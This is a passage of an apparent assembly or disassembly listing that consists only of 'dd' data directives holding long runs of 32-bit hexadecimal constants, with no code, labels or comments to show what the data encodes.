		dd 0FC2D5851h, 0EE142F28h, 0C7E3C55Fh, 893C542Eh, 0F985D829h
		dd 684B9025h, 28FE70C3h, 8F69C0F6h, 8CF9DF24h, 0D902C348h
		dd 0DF78963Bh, 2608C928h, 56AA127Fh, 0BC91645h,	7CCE3373h
		dd 0EF2D18C5h, 0A689B9ACh, 95F43D29h, 97270628h, 1795D83Dh
		dd 958C709h, 0F171E283h, 74F0D864h, 0AD709BFh, 815F6CBCh
		dd 5FBA656Dh, 7760A26Bh, 78512727h, 42C8828Ah, 0E9547D77h
		dd 22B70820h, 0C80C13FEh, 5F87EB8Ch, 65F51D28h,	0E946C660h
		dd 0A036B025h, 0BE56022Dh, 38611AE0h, 6F48920Ah, 350F77BDh
		dd 6101169Eh, 0FC88BB5Dh, 0EA3AF2D1h, 0DE892561h, 0B1C6AD40h
		dd 5F1002Ch, 50E96857h,	5F143D85h, 274EFE21h, 0CD3808F3h
		dd 954001C6h, 2171555h,	324E685Ch, 59867848h, 0DB702181h
		dd 25A1B410h, 9554B45Eh, 40A732DDh, 0B8453A01h,	4F3FB062h
		dd 0F0298C0Ch, 5B953C24h, 0E46F500h, 30550AFAh,	623A5D5Bh
		dd 29F21B33h, 88299B2h,	0F5EE880Eh, 0DA655F1Dh,	8072EE9h
		dd 0E06A8456h, 0DB50F6EBh, 0FB879CCh, 0E3E8F25Ah, 148F01E4h
		dd 60539D6Ch, 0DC9100Eh, 7CC7701h, 4E4C3195h, 27E655F2h
		dd 6C3DFC2Eh, 2D2F5DA8h, 0D4D9E822h, 0DBF9BF15h, 0B91CFD49h
		dd 0E4C8FAA8h, 0A1545180h, 0EB64570Ah, 1CC109B9h, 2F00309Ch
		dd 109201F5h, 5EF12113h, 6C7DEA06h, 30EF066Fh, 0F01EE150h
		dd 6B162317h, 3150761Dh, 1C4F2109h, 0C51E3A51h,	0D56297E0h
		dd 0AC77675Dh, 0DF645A87h, 2148449h, 400E68BBh,	2CCDC3Ah
		dd 6E0C5C20h, 6BE8A461h, 0AE5E3FA7h, 0C69122Ah,	624F53DDh
		dd 475D53CAh, 297D2F60h, 0EF977ABh, 0D4532012h,	393AA0EEh
		dd 669A1463h, 53A60F59h, 1D85A6B7h, 288CBB45h, 36579D57h
		dd 9AE918E9h, 0D6F63249h, 5AEE801Bh, 0F5088106h, 0DFC5FED8h
		dd 0FAB87B04h, 5210A958h, 5E565076h, 0DA4AF6B5h, 52D7F657h
		dd 1302EC77h, 0AA208AE9h, 7D291272h, 38980372h,	7E0105EBh
		dd 3D4C64BEh, 3480F838h, 58C60890h, 0F44C509Dh,	8DCE5028h
		dd 0A7A825E9h, 0A7BCB8D1h, 0A307F2B6h, 61FD9A98h, 916F7C83h
		dd 2324BF73h, 3B754FBh,	2D81B05Ch, 0C1CD7E99h, 7069868h
		dd 0F5E05BE5h, 49C3132Dh, 352AFE7h, 1C0C38AEh, 78723A80h
		dd 45B48D1h, 7205A9E0h,	9C12B58h, 57ED22ADh, 2C645880h
		dd 0E918620Dh, 5A74A9E4h, 0D0D99755h, 0D1447D5Ah, 20741D2Fh
		dd 3F0CDC47h, 1129022h,	0B394DFCCh, 0F977E405h,	0AAA17B42h
		dd 0F6E90701h, 5494D37Eh, 2355B1B9h, 0CAEA4A91h, 0D8AB2596h
		dd 0CE9E975Ah, 0D74E0F98h, 0BA419B8h, 0EC0028CBh, 331E055Eh
		dd 1C807A62h, 163B5F8Fh, 2D720ED9h, 44E677B4h, 4473D1B5h
		dd 4EA9FC30h, 545ADEC2h, 25FDC290h, 29DFC0Bh, 496D5CA9h
		dd 982A705h, 74968A7Eh,	9674F80Ah, 0FA096802h, 0DCE2610Dh
		dd 0EC4AEB64h, 342B4C18h, 29FA0CD3h, 6403B213h,	0F280DAF6h
		dd 3CD2AB10h, 0E219670Ah, 760C09h, 61EAC0ACh, 36E92C04h
		dd 0E4B9552Ah, 8041BD54h, 77E10D47h, 0B42B3715h, 98780FCDh
		dd 0C1E4EF7Eh, 2F833613h, 0A131480Fh, 0D7016FAFh, 0D0081CA0h
		dd 5A25141Ch, 9374B3FDh, 0E6EE844Ch, 0E8876FEFh, 0C2010B23h
		dd 0EFC79D04h, 11E8C631h, 6864212Ah, 268D7BA7h,	91436BE0h
		dd 20EA6B4h, 1F55268Eh,	0AD28DC57h, 752710DCh, 5AD5D400h
		dd 0ED748058h, 0FA406CEh, 0B0C50EDDh, 935E9E7Fh, 56A409Dh
		dd 0DC4ED134h, 9F2D50BDh, 0A924A971h, 813C583Fh, 72D437C1h
		dd 4671E62Eh, 73E90C86h, 1D66B023h, 2445F668h, 74ABC1Dh
		dd 0E616AA6Dh, 0C568105Dh, 65108A0Eh, 0E15ED158h, 29AA3A77h
		dd 71B46BB7h, 0F799AA4Fh, 87C16443h, 0F3CCE368h, 6CAE4ACCh
		dd 6B26E9EDh, 888E65B5h, 0FDF449EEh, 0B4AC066Eh, 801960B7h
		dd 205217F4h, 208999E5h, 883062FBh, 96E93BEAh, 0B760C0CAh
		dd 66F9208Ch, 28E9195h,	5CAAA02Ah, 7C817D40h, 762D71E2h
		dd 7FEA3863h, 0BE210513h
		dd 216F2299h, 6E8947D6h, 11646261h, 0A7C28100h,	6909F819h
		dd 0E6111262h, 210C30D0h, 0AAB29FF6h, 0AE27B905h, 13BAAC17h
		dd 77E6C139h, 517DC25Bh, 3594EB06h, 14E92Dh, 20DEBB82h
		dd 0B16E4EB1h, 84A1306Ah, 0BCB7C82Eh, 0E9B02D28h, 0C295F060h
		dd 5A19E8F2h, 938EAC0Dh, 5BB682EEh, 76C68EAh, 1B59C7F2h
		dd 30D0377Bh, 0B6E3DF9Bh, 0AD133DF1h, 26D6E558h, 0BFD1E5E4h
		dd 0E0EDBD29h, 0BFA1172Eh, 0BE2FA27Dh, 0F75BFB3Ch, 0FB684284h
		dd 0F261EA40h, 3D2F8A78h, 5063FC41h, 14EA6997h,	9F2D2434h
		dd 84202E56h, 8225C09Ch, 4755ADBh, 308BFC5Eh, 6CB7A351h
		dd 0C41E4ECEh, 0B20712CFh, 0FAFC438h, 19F1FB90h, 0A545E5EBh
		dd 11E52FBh, 434A57EBh,	0A86A036Dh, 5EE97D6Ch, 59BF02A4h
		dd 3257CD31h, 2CB9F0D6h, 92F47BE9h, 0E6AD0753h,	0C2F53751h
		dd 24FEEBF0h, 5A390C63h, 0AA2AB091h, 0E34B7BF9h, 88885EA1h
		dd 0C7B64258h, 3E060AE8h, 14F248AFh, 224807EDh,	19643F25h
		dd 84BE1FF0h, 0C5BBC796h, 54918214h, 7D680D00h,	6E16489Ah
		dd 3712D504h, 7BD0FA3Fh, 509862EDh, 14F68641h, 0AB601D74h
		dd 7B6F147Fh, 187A8C59h, 18369410h, 9E262A7Fh, 0F90FCF28h
		dd 0E98821C6h, 5A0291D0h, 54C2E0FEh, 9FCE7729h,	3E9AC8h
		dd 27685650h, 5EEA1032h, 0C35E5DFAh, 7225F8B2h,	9DC2B648h
		dd 1BF51517h, 5DA97707h, 2713133Fh, 7DB72205h, 78105FBh
		dd 8909C1A0h, 22FA2AF7h, 8F5EE116h, 580BE72Ch, 8BDC5160h
		dd 385947D3h, 0EB52AE93h, 9934B7BEh, 892EAA66h,	0D4B29782h
		dd 0E6FE7E65h, 0DA341048h, 413B3C62h, 80911C57h, 274B5696h
		dd 43A840C0h, 8CFC2708h, 9089D527h, 88C2FFFh, 3431114Ch
		dd 3380EFE7h, 5C5747C4h, 0BB028311h, 3DBA321Fh,	524B7C55h
		dd 5D49FE74h, 0E9612871h, 0F1A5DF90h, 539388D4h, 0EAB365AEh
		dd 0D8ACDE82h, 1EF7951Fh, 86C2F2BDh, 4BC0A644h,	18C0BBECh
		dd 80FC28C5h, 0E54BCEE9h, 0EFB09CAEh, 0D7990548h, 17E61D46h
		dd 294B016h, 0EA80C2FEh, 0C17628D4h, 16C3F15Bh,	1E610B3Ah
		dd 62902C70h, 1B2AA82Ch, 266A9D82h, 5F05CA72h, 0B20A4FCh
		dd 8931E925h, 28D25BBAh, 2531B4FAh, 8B6A475Dh, 2ED93FC1h
		dd 770E5289h, 12BD0B79h, 0E2BF649Eh, 79EBD3E5h,	0C765AC12h
		dd 0A240AE10h, 2F88419Fh, 0D3CCCAFCh, 0C45E9E2Bh, 97BD49DCh
		dd 0FCE9F048h, 21EFDD4Eh, 46A3453h, 40B915E0h, 557E5D0Eh
		dd 1D359524h, 3265EF9Eh, 8907711Fh, 81186C56h, 7A5B8E68h
		dd 692FC8B3h, 0F1A9F58Fh, 38E6E677h, 0FF4E203Dh, 625EA8CBh
		dd 9D55D72h, 0C2AE5E36h, 947DA6ABh, 3C302015h, 87D7F700h
		dd 72CE81FEh, 65B03F56h, 0EB3EFD92h, 0D501B631h, 774A8B7Ah
		dd 4599DC9h, 0EE169298h, 55A26209h, 544554E5h, 0E91721A9h
		dd 88E9C1DEh, 0C4509DCAh, 5B70A82Dh, 5A439219h,	0B403DFD8h
		dd 61085A0h, 0EE17C14Eh, 0D5FA053Eh, 63EF024Bh,	0A1634B1Dh
		dd 0E61794F8h, 0DBD16139h, 0CCAA5A04h, 316863CCh, 9DDF5387h
		dd 0D14D807Fh, 0C158F181h, 59D77DDCh, 0BF02FC4Bh, 3107EE06h
		dd 9BAF6377h, 0DEEDF9F3h, 0E2CDFF81h, 0D8697430h, 701635F5h
		dd 70090811h, 131804C6h, 2399D1FFh, 0CC778949h,	60817C0Bh
		dd 4E6A4248h, 40DF40BFh, 4BF938E9h, 0FD39AE5Ah,	977CB2Fh
		dd 0E695FAE9h, 225F9704h, 90D955A0h, 0A69E7D6h,	0F7011FECh
		dd 0C00820D8h, 55E781Ch, 0A95DE979h, 3F5A2C5Ch,	1F4C2E08h
		dd 0C70654C1h, 45497205h, 74378260h, 0DED58802h, 0D8BE3A21h
		dd 0E4205016h, 3002F5C1h, 0B1685BDAh, 0D37D4612h, 0B78B0B34h
		dd 0C5021AABh, 9DC003C4h, 0FC826721h, 0ED3E89B6h, 7669E932h
		dd 2D722463h, 28AFEF09h, 908A7DB5h, 8F824B3Fh, 0F975D121h
		dd 96681FB4h, 8A38AF1Fh, 0E85B4FDEh, 8010F4C0h,	602F27E0h
		dd 13ABBD98h, 0EF5BAC45h, 53EFD1C0h, 28762A09h,	8C750B0h
		dd 841D9B5Eh, 0BBA1C2E9h, 528564A8h, 0F9F1AFBAh, 32CAC6Eh
		dd 666CB8C6h, 0E99A0B4Eh, 0B9103EAFh, 0F582C8A4h, 56B5B0D0h
		dd 98057B95h, 6C63DC5h,	5D1C9018h, 0C090361h, 845AAA05h
		dd 81BE50FFh, 0A2ABBD38h, 12ECA38Dh, 480CBE9h, 0F72B151h
		dd 0C03AC980h, 688AC092h, 1B31440h, 9DE09C1Fh, 0B787B7E9h
		dd 0F58BA622h, 90758862h, 818502CDh, 0A0C83F88h, 415E4E89h
		dd 1203B760h, 7B57B29h,	0B0C0806h, 2276601Fh, 0B52F83D2h
		dd 0A8FFF137h, 251CBE8Eh, 276FBC5Fh, 0CC042BE9h, 9228B256h
		dd 4B1A62EFh, 0C5813874h, 593E3B47h, 0DF25F428h, 0D6A7CC2h
		dd 42EE53DDh, 0EB781BE9h, 3FCEB905h, 27AC6C27h,	24DECA4h
		dd 1718417Eh, 0F9E0805Bh, 17631056h, 27873FE9h,	0F24FE027h
		dd 0E84C8365h, 737C2596h, 0A9040897h, 5DF94F16h, 0D26C7E1Dh
		dd 14F094Ch, 85B9F3D6h,	0B1E96F35h, 84EF82D5h, 0C3CBE809h
		dd 0E9F6B951h, 0AF3B48A6h, 53263900h, 0F02579C3h, 6360012Fh
		dd 0C5503B0Dh, 2AE8FF46h, 2175FBA8h, 62A8585Ah,	51495A3Eh
		dd 7327CE01h, 30462693h, 50073FE3h, 11E90C78h, 64317FF9h
		dd 0ADCCCE82h, 0D772E425h, 0BB72EA16h, 47454A13h, 0C1506AE0h
		dd 0F65608B8h, 15EF6048h, 0D73CB66Eh, 0F78134B2h, 6865E9D6h
		dd 0D4BE004Eh, 8157B03Dh, 38A800F6h, 0F0295A6Ah, 35BE62E9h
		dd 64D3040Bh, 0B46E90FEh, 0C75D2525h, 645525D9h, 2F52416Dh
		dd 47685E05h, 0BBB544EBh, 20410E86h, 1E7DBF57h,	816B0E14h
		dd 9DFC93CFh, 0C0F7814Bh, 8322B209h, 0A2346118h, 0A0C0B36h
		dd 5000AD4Fh, 1340D6C7h, 78304D61h, 576A2B33h, 0BEAE8481h
		dd 52324F12h, 6E895D72h, 626879DFh, 14F70868h, 69144231h
		dd 0DE44FF1Fh, 0D9685200h, 0E9419866h, 0E3EB5BE8h, 24E94A9Ch
		dd 0A8251917h, 0ED85E14Fh, 386B366Ah, 0FFA754CBh, 0DEE3041Bh
		dd 0E743F2F2h, 7B7BE4E5h, 58475062h, 0E72F308h,	0AB166A91h
		dd 0E909D39Ah, 562D195Eh, 0A4BC2E64h, 6E33754Ch, 0F0B1464Eh
		dd 0FE0C818Eh, 0C1C580CDh, 0FA6BF5CCh, 16329EA1h, 6B12EE29h
		dd 8230F6AEh, 79052B68h, 0CDE9E264h, 16F48C6Ah,	44945725h
		dd 68054DBCh, 99AC528Ch, 0ED2A8BC4h, 0A7D618B2h, 3D432D47h
		dd 0E4CF7C78h, 106101DCh, 19126829h, 985F9230h,	3F1F0031h
		dd 3540419Ch, 3801470Ah, 90092D69h, 1D64C2E1h, 5FFD2E89h
		dd 29800288h, 0DAFD366Ch, 6A600FAFh, 0DA8F6277h, 0C108E81Eh
		dd 0E828B31Ch, 7718AF5Ch, 0A2713209h, 0A072C62h, 756E0163h
		dd 0F15018EAh, 73276C78h, 35034309h, 0DFD8474h,	487CAC92h
		dd 825998B5h, 5E44E0F4h, 0DC1855F8h, 58686241h,	43D81B4Bh
		dd 1D9855h, 452D7CC3h, 0E9F799BDh, 8EBC904Fh, 46A2680Bh
		dd 9F6AB455h, 0FF7242F6h, 0AA826951h, 5D320807h, 0DF2AAE8h
		dd 19432C02h, 0D527E5E9h, 449089CEh, 4268F00Bh,	10E35775h
		dd 0A0E0387Bh, 0D99D787Eh, 0D4D42F6Ah, 70A16858h, 1C77955Bh
		dd 0B204A1E5h, 4C33413Fh, 7F4E853Ch, 816E794h, 36D539CDh
		dd 0E9750502h, 26EC5625h, 9FDC96E7h, 0BA052095h, 10394A18h
		dd 38C2EBE0h, 1D845A74h, 0A96512E9h, 5EAB0997h,	5FE0ABB0h
		dd 82E0483h, 0EB873798h, 8D5F736h, 52890CA0h, 1A0C6E45h
		dd 8C31513Eh, 0E32C49E9h, 9A5DEEFEh, 0E1594F58h, 3AB646Eh
		dd 0C0C8935Bh, 7D71BD51h, 5A320562h, 56EEC5D2h,	40AA3954h
		dd 0BF31C292h, 1AE92F18h, 53DE68CBh, 0B21FB50Ah, 0BD2C84Fh
		dd 1E0A5627h, 0CEAC4951h
		dd 3F450E5Ch, 2D7CD6ECh, 0FCDE05B3h, 0B52D5CE0h, 54722508h
		dd 782F878h, 30C15580h,	0DA943C58h, 86E18100h, 0F07E341Fh
		dd 0EC1841D4h, 214C13EDh, 220C67A2h, 7F60C9F2h,	16429860h
		dd 0BF766EBDh, 6F2AD37Ah, 0D19F6712h, 0EA9EBC0Bh, 845AECE9h
		dd 0EFF02858h, 0EDD751CBh, 8C998432h, 54E1F6CDh, 0C174EAE6h
		dd 0CB4BF4Ch, 0F244C242h, 4461FC55h, 2AEFA51Dh,	2E0521E8h
		dd 6DEB36h, 0BE629CCFh,	0C1174069h, 81EB05E8h, 3E1DD3E1h
		dd 0A86BF9CDh, 75F65A3Bh, 0A2494858h, 9A00CC5Fh, 2D94413h
		dd 0C32A81AEh, 4613A6A0h, 64C4512Dh, 0DCE0FEC3h, 9F7FEA68h
		dd 6E414918h, 8F80B84Eh, 4ED5646Fh, 8C8CB173h, 0BDFF707h
		dd 98BA0252h, 0D142EF26h, 0ECBD5360h, 593C2000h, 4ECBCD81h
		dd 0E10D5EB7h, 88F4F7B9h, 5F4AFA7Fh, 6E0E48AAh,	5AB7C620h
		dd 0AF5B5A93h, 50CA7C09h, 0AF5C4BFCh, 7D46FD62h, 0EF75060Bh
		dd 0B7532FF2h, 2FCE5C27h, 8170EE76h, 46D995EFh,	5B6C053Bh
		dd 5EC40DC5h, 2D589AFDh, 0E794EA20h, 0D2085317h, 0CD702FE0h
		dd 896E59BDh, 2E162948h, 1EA06120h, 15C8215Eh, 0CA5A81B5h
		dd 0CA680999h, 0C0761A33h, 2C280BC1h, 1A407BF3h, 0A92B0D0Fh
		dd 6F17C2D7h, 2AF62CEFh, 2F51B797h, 48EA8085h, 668002AFh
		dd 9760A868h, 0C69F27B7h, 981A2024h, 0BBA50FCh,	3958710Ch
		dd 9ACC2E40h, 0BDB96952h, 60172054h, 9A207664h,	0EE5890BBh
		dd 0F7E91226h, 0B6A061C1h, 103339F9h, 5E2AC2A3h, 736818EFh
		dd 9E035D47h, 1209BF80h, 1354237Eh, 31E2A14Bh, 4F403061h
		dd 0C7ECA09Dh, 4CA28549h, 5F3FC635h, 4D1A94Ah, 1FCB3E4Dh
		dd 0A9C23080h, 0C4984F42h, 0DBBFE9E9h, 76AE02Eh, 0D0F3FC6Dh
		dd 1C600832h, 698458F0h, 20FB5E7Fh, 7C172A87h, 4700282Eh
		dd 333C0DC1h, 0E9EB1729h, 4D724E52h, 0FF3B86C4h, 0CF583140h
		dd 0B63156C6h, 4FF309FFh, 0FE161977h, 0FE5204E6h, 880E5CB2h
		dd 0F073407Fh, 554AE98Eh, 0FAB71717h, 10FEA65Ah, 8F419FA1h
		dd 7B1CAC6Eh, 7F86D75Bh, 5C60BC0h, 0ADDE498Bh, 7FF0209Ch
		dd 4FFEA1B6h, 8FD6BAC6h, 888A7720h, 4C627068h, 0D91F6469h
		dd 48F201ECh, 6A5B2024h, 680B399Bh, 0B4FD56EFh,	0BAE92647h
		dd 2069A5C3h, 3B2C650Ah, 0CA358D87h, 0BE9DE60h,	410ABCC0h
		dd 9E312768h, 3B600D4Bh, 3095DDF6h, 0D0489925h,	3E56A94Fh
		dd 1E6F925Dh, 14786754h, 819F549Dh, 0BBC5626h, 3A0920h
		dd 2970346Fh, 491FE9FBh, 776F12B7h, 683E41ECh, 8B856EBFh
		dd 0E76F6850h, 61F9BCB3h, 2831D868h, 0B818C6A5h, 0A0BD1E20h
		dd 13B850Eh, 1619B9EBh,	8042E157h, 0D5634968h, 0F22DB06Ch
		dd 25D89497h, 9A660ABFh, 8876FEBFh, 2E283280h, 0DEB74E90h
		dd 0FA5A120Bh, 0AB124A65h, 76E93930h, 6F759444h, 0B550B829h
		dd 723E5EBDh, 6AF1AE41h, 7362A68Dh, 4086B840h, 8500B919h
		dd 810E1A07h, 2D315DC9h, 0DFD2625Fh, 0AC3C78DEh, 30004F78h
		dd 31B5DD2Eh, 5C1998D1h, 0F803D3Bh, 5F064D7Ah, 59B744AEh
		dd 48DBA0C0h, 0CA203755h, 0ED99CAA0h, 4CE2B0ABh, 4B7C6A78h
		dd 0F11A1C2Dh, 90EBBFACh, 106F4277h, 0D637C0B5h, 0D671E5Dh
		dd 497CD35h, 0BBC0FAAEh, 70E2685Dh, 1C779761h, 0A322BDD8h
		dd 1DF43DEBh, 0E20C57AFh, 4102B20Ch, 0CEE96819h, 0FC13D733h
		dd 81A19BC1h, 7388EF71h, 98ED45DFh, 0BFA0127Ah,	0C1D21DA2h
		dd 2E1F7054h, 5FDE7069h, 67EAFD5Ch, 5FFA4609h, 744963F1h
		dd 0B80B17BBh, 202212B3h, 429660FEh, 47764941h,	9240F305h
		dd 5AE67A4h, 98FCBC1Bh,	8655719h, 0FB10E099h, 1CB41398h
		dd 2C2E7B0h, 0E9403549h, 87003B7Ah, 0DED1F7CEh,	5B9FC908h
		dd 2B7B75h, 430A6853h, 0D3FF169Eh, 2A118479h, 7138516Eh
		dd 0DCAAADC1h, 0A4443A0h, 9AB81603h, 0D1A9947Bh, 0B32B33BBh
		dd 366D1328h, 975329FBh, 45BAC30Eh, 0BF56E9ECh,	34AEB585h
		dd 80DBA2ACh, 7BF26857h, 0E9490BD9h, 97723D05h,	259EC950h
		dd 104258h, 1D150FC8h, 9D1909E9h, 7FB26B27h, 76104498h
		dd 0F1BC6BE1h, 0A9F6FFA4h, 4B780725h, 0D64DB812h, 78E1C200h
		dd 77289816h, 5686C241h, 6BF422CEh, 0F78A0A05h,	0B2B609EBh
		dd 5D947450h, 55E755Ah,	0AED329E9h, 0EAB81293h,	664E88F5h
		dd 26681140h, 0C32A1A3Ah, 101E16DEh, 1056486h, 612D4F6h
		dd 2F59E546h, 74C1243Dh, 57F6979h, 6BFCE653h, 0D49F01A4h
		dd 420F6503h, 91C3088Bh, 369881C3h, 1A90407Dh, 53964F8h
		dd 0F2C05F20h, 0B504DFDDh, 0EA707C5Ah, 0B07EE495h, 5804E3AFh
		dd 3C5D32B3h, 0E8A01F7Ch, 0D35B289Ch, 56DF33C0h, 0BC6A5A2Dh
		dd 910616B5h, 0D688F39Dh, 0BE009401h, 683553B0h, 23F60381h
		dd 4E52D622h, 626DE6B8h, 3E79DC26h, 73302F06h, 2594ECC4h
		dd 6476B0CDh, 5DE68269h, 506DE032h, 2FE91257h, 7797B982h
		dd 1A82264Ah, 0C6C0E04Fh, 1EFC2D0Ch, 5305F4A0h,	68164901h
		dd 91CC0AA8h, 0F47A2E31h, 5EFA173Ch, 0E2C857EDh, 2B548462h
		dd 3D9B6803h, 0BAD01515h, 0A879C199h, 0A02E1B30h, 8D4EE924h
		dd 0E229C00Bh, 0CC907F88h, 0C8BD62A4h, 0CF2CEB45h, 0F0A05B0Ch
		dd 7CF5355Eh, 0E22DDB28h, 34413D08h, 0CBE124Eh,	51858D4h
		dd 4221350Fh, 0D1C9A01h, 14171C08h, 0E72720EAh,	2EE905E3h
		dd 0ACDA2107h, 823B3812h, 0CC721A68h, 7C6B20FCh, 72BB544Eh
		dd 0BEC6501Bh, 206A1B25h, 14305429h, 0F0F09D21h, 74BE8FCh
		dd 0E2E7D7ECh, 967A7D38h, 5384942Dh, 0CB298901h, 62D459D7h
		dd 1B522E53h, 0F53DA201h, 0DA70BB2Ch, 9531D030h, 0FF6B80F9h
		dd 266B5C0Fh, 0D452BC76h, 171227FBh, 653B0BDDh,	30780B2h
		dd 2DE96D33h, 27DC2EE3h, 39051D66h, 0F8010E5Ah,	380E2DEDh
		dd 8414D92Bh, 0D8222DF3h, 8041235Eh, 0E1CC0FC1h, 9582F610h
		dd 12BF85EEh, 655C55C1h, 0C810FB00h, 0BAA1E946h, 0C7891217h
		dd 831358h, 59AFE764h, 560021DEh, 3A4237BEh, 30F73163h
		dd 0BE9D5E9h, 85180FDBh, 50109AB0h, 82204D68h, 0C2290993h
		dd 0CF2040E4h, 82BD0416h, 0AB75394Eh, 9860D9A2h, 47902C7Ch
		dd 972378B5h, 0D2201A96h, 0EEB0F253h, 64E14EC7h, 0F2B4D1ADh
		dd 0C61E0430h, 48D0F7C7h, 3502E060h, 538E00D8h,	0E9C629B2h
		dd 0D59724DBh, 2E2E3619h, 0BCE3BF12h, 0F8C9E9C3h, 0F7F23507h
		dd 5B4E31D6h, 3ACCF909h, 0A0101466h, 8F91D25Ch,	8005E4FFh
		dd 0D6AEA60h, 15A800Dh,	806F0FAh, 81F040Ch, 0C2534B43h
		dd 0A25D4806h, 0DD3109D1h, 698BA7C0h, 1F99449Ch, 0E03FF759h
		dd 270FB651h, 2091452h,	40EAC15Bh, 51FE24Eh, 0E92C1D75h
		dd 5AA9F0B7h, 0F7E75F4Bh, 21708951h, 7D370CBAh,	6444EE5h
		dd 4260E998h, 3BF28166h, 30603057h, 7C87E961h, 2CB45D97h
		dd 0C9ADE918h, 2FACB522h, 64F6EF30h, 8BFB989Ch,	45F828D6h
		dd 0E8D03D08h, 69E92713h, 2E53AFC1h, 95A0B5E8h,	5E50CF60h
		dd 0A00BF2A1h, 7C0ADA43h, 0DBF70B94h, 23396180h, 71905415h
		dd 0EC51431Dh, 25A15254h, 4BA511Bh, 9011B56Bh, 2DD8F71Eh
		dd 7E68D701h, 2F04E97Dh, 9D88F534h, 19B14A98h, 0E9D1F605h
		dd 0C8FFA7E6h, 559C4BFFh, 5209450Eh, 0A8F37801h, 0B538B752h
		dd 0A8468A24h, 4D730FDAh, 80F24F26h, 727CC75Fh,	4584A24h
		dd 0A05FDB09h, 4E94689Bh, 15554D49h, 3F0CB896h,	0B6B193EFh
		dd 0CAC11400h, 0E2019355h, 837FB8F9h, 0ABC8AA08h, 4D0A00F2h
		dd 0FD18661Fh, 4E30AE75h
		dd 0D9059DA0h, 2D3CB943h, 0F3E0005Bh, 1057BACAh, 0B0D90175h
		dd 0B602E983h, 14B84455h, 0AD541854h, 7FB753EDh, 0D0564AF5h
		dd 942BC4F1h, 3790644Eh, 616217A2h, 7595B640h, 0BA9FB24h
		dd 56C51003h, 994F0B18h, 0EC89E801h, 0DA1AA55Fh, 1C30EF00h
		dd 48C14D70h, 0CE007FEEh, 218464F3h, 0C9B765E9h, 79DCE569h
		dd 5364BD46h, 0B0886424h, 0FEFA9239h, 0D12F81FAh, 429683E1h
		dd 166837Bh, 0BEB3B80Ch, 7B5E5156h, 75874B21h, 0A166AB07h
		dd 9D945161h, 89C80F17h, 495E30F1h, 13B6C9DCh, 0D2C78C4Fh
		dd 75FD3282h, 0D5129B79h, 685A3DC0h, 0A14CBF5Ch, 0D4342827h
		dd 48D7E91Eh, 9D405044h, 54577A1Ah, 74E9D847h, 6634364Ah
		dd 5F525CE0h, 0AA38566Ch, 0D4298CC2h, 4810096Fh, 0B04BAEF2h
		dd 9D756BFDh, 73AD6559h, 33E98BD1h, 3C9873E8h, 89460C0Bh
		dd 0FF85FDD6h, 8F33EF4Fh, 0C8CA4A80h, 0E65E88D1h, 0E5C57B33h
		dd 6ED699BBh, 13158A80h, 0A0099E56h, 0EE91808h,	0E5BF30B9h
		dd 0D363E1Eh, 104B4A8Bh, 2A08AD45h, 0F2FA8891h,	21E409C9h
		dd 0A7FC7161h, 41D87BCh, 0DC8318C0h, 0F23B014Fh, 688B38DBh
		dd 82CABC09h, 0C93D15F6h, 0DC80801Bh, 2725C74Dh, 9E89F4E9h
		dd 68F72B09h, 4D286815h, 0A910925Fh, 0FF593D4Ah, 0CF262F5Ch
		dd 16133E52h, 51AD3A60h, 0B2A924B5h, 59EA050Eh,	4F2DA628h
		dd 3049B180h, 615782FAh, 0C212D01Bh, 7EAC000h, 3BB33B53h
		dd 0E3E2EB31h, 29E74302h, 209C0616h, 0AE1847F8h, 3B74B5C8h
		dd 61C9CCB7h, 0B1830698h, 88F9C122h, 27FBA830h,	0D202CB5Dh
		dd 306A4813h, 515235D8h, 0BFCFA056h, 5C073603h,	44FA2925h
		dd 7E81ED2Ah, 0B0781DEBh, 3C78182h, 7F40AE4Fh, 813C2D4h
		dd 0FAE004AEh, 0C1410FB2h, 6A08F2E1h, 9C13C70h,	32934D7Dh
		dd 4095E000h, 895F1EDCh, 725068E9h, 8F67129Eh, 8E03E966h
		dd 833E899Fh, 2B1070Ch,	4099BB5Ch, 527D4446h, 87211695h
		dd 5736217Ah, 31D7F08Ch, 0E3E9DA0Bh, 20B29D1h, 4A488E57h
		dd 20E172F3h, 0EAC1A08Fh, 64B142DEh, 41295A20h,	0F83FD471h
		dd 2D5F4998h, 0FF4963F9h, 0F519A897h, 4F4992EFh, 5374A1FDh
		dd 0DBC07168h, 67E92D11h, 8F66E040h, 670CE0CCh,	1E460AB9h
		dd 19C628Bh, 0F9341CA2h, 1B916049h, 714CE2E2h, 46DA076Ah
		dd 0C1323EA0h, 0F69240E6h, 243718B8h, 6D5F0C1Eh, 508A1127h
		dd 0ADD2C4A8h, 6A091363h, 68682277h, 68125CBBh,	0D6400C5h
		dd 0EBC144DBh, 0D0D10239h, 0A102C5ABh, 0DEE9091Dh, 28D8D14Dh
		dd 0F9144EBEh, 215B81ACh, 186B5635h, 0F44D109Eh, 0D0317A17h
		dd 0B35827F8h, 0E96A2D04h, 0F9D1E4E5h, 9CB3664Dh, 0E25BB290h
		dd 0CC13241Fh, 0DDED8189h, 4E84E829h, 0C68005AEh, 8B36B181h
		dd 33B12D00h, 35186C01h, 0AD78C04Bh, 0B8C6C16Bh, 0C7FF8815h
		dd 2C123D1Eh, 2060F5E2h, 143E06ABh, 2AB3192Eh, 0BDDCE3EFh
		dd 0E55DC23Eh, 5DD6F09h, 0DC0D52Ch, 0BC28106h, 5B200250h
		dd 73E2D790h, 0AD252428h, 0B9C0E41Fh, 4D092992h, 11F4A74h
		dd 0E235589Ch, 974AD1C0h, 0EA12BDFEh, 5FADD85Fh, 1C4BD414h
		dd 0AE7556EFh, 895DCD42h, 7AF6D0F7h, 6EE82697h,	0AADC27C6h
		dd 8DDDCADh, 5627A749h,	0A684CF60h, 5E86141Fh, 0FE4453ADh
		dd 13F42F67h, 89347FD3h, 41BCFDD5h, 4F70A6D6h, 0EA4A12FAh
		dd 78518AF5h, 0EA6D45A4h, 497BF4Bh, 5F01C9CFh, 498C9EFBh
		dd 30780B0Bh, 0F321FEF6h, 4E4CC42Dh, 4483074Dh,	0F760375Ah
		dd 9FF252E4h, 12F31A01h, 1805FBB2h, 4F595441h, 0A960FF82h
		dd 3A2457ADh, 62CAAC7h,	3B651231h, 0F300EE13h, 534727D2h
		dd 29596D1h, 0CD8F9C64h, 581738F6h, 0F7D262BBh,	87513E56h
		dd 0A39AE83Eh, 5ED53B0Eh, 0A788CB25h, 9840BC8h,	51047CC6h
		dd 0CF8811B1h, 9CFCF0C2h, 0AC3258E2h, 0EE3EF783h, 8952EC0Eh
		dd 2D8257FAh, 637F4A75h, 0F67CF951h, 0AA5D566Bh, 1F56F161h
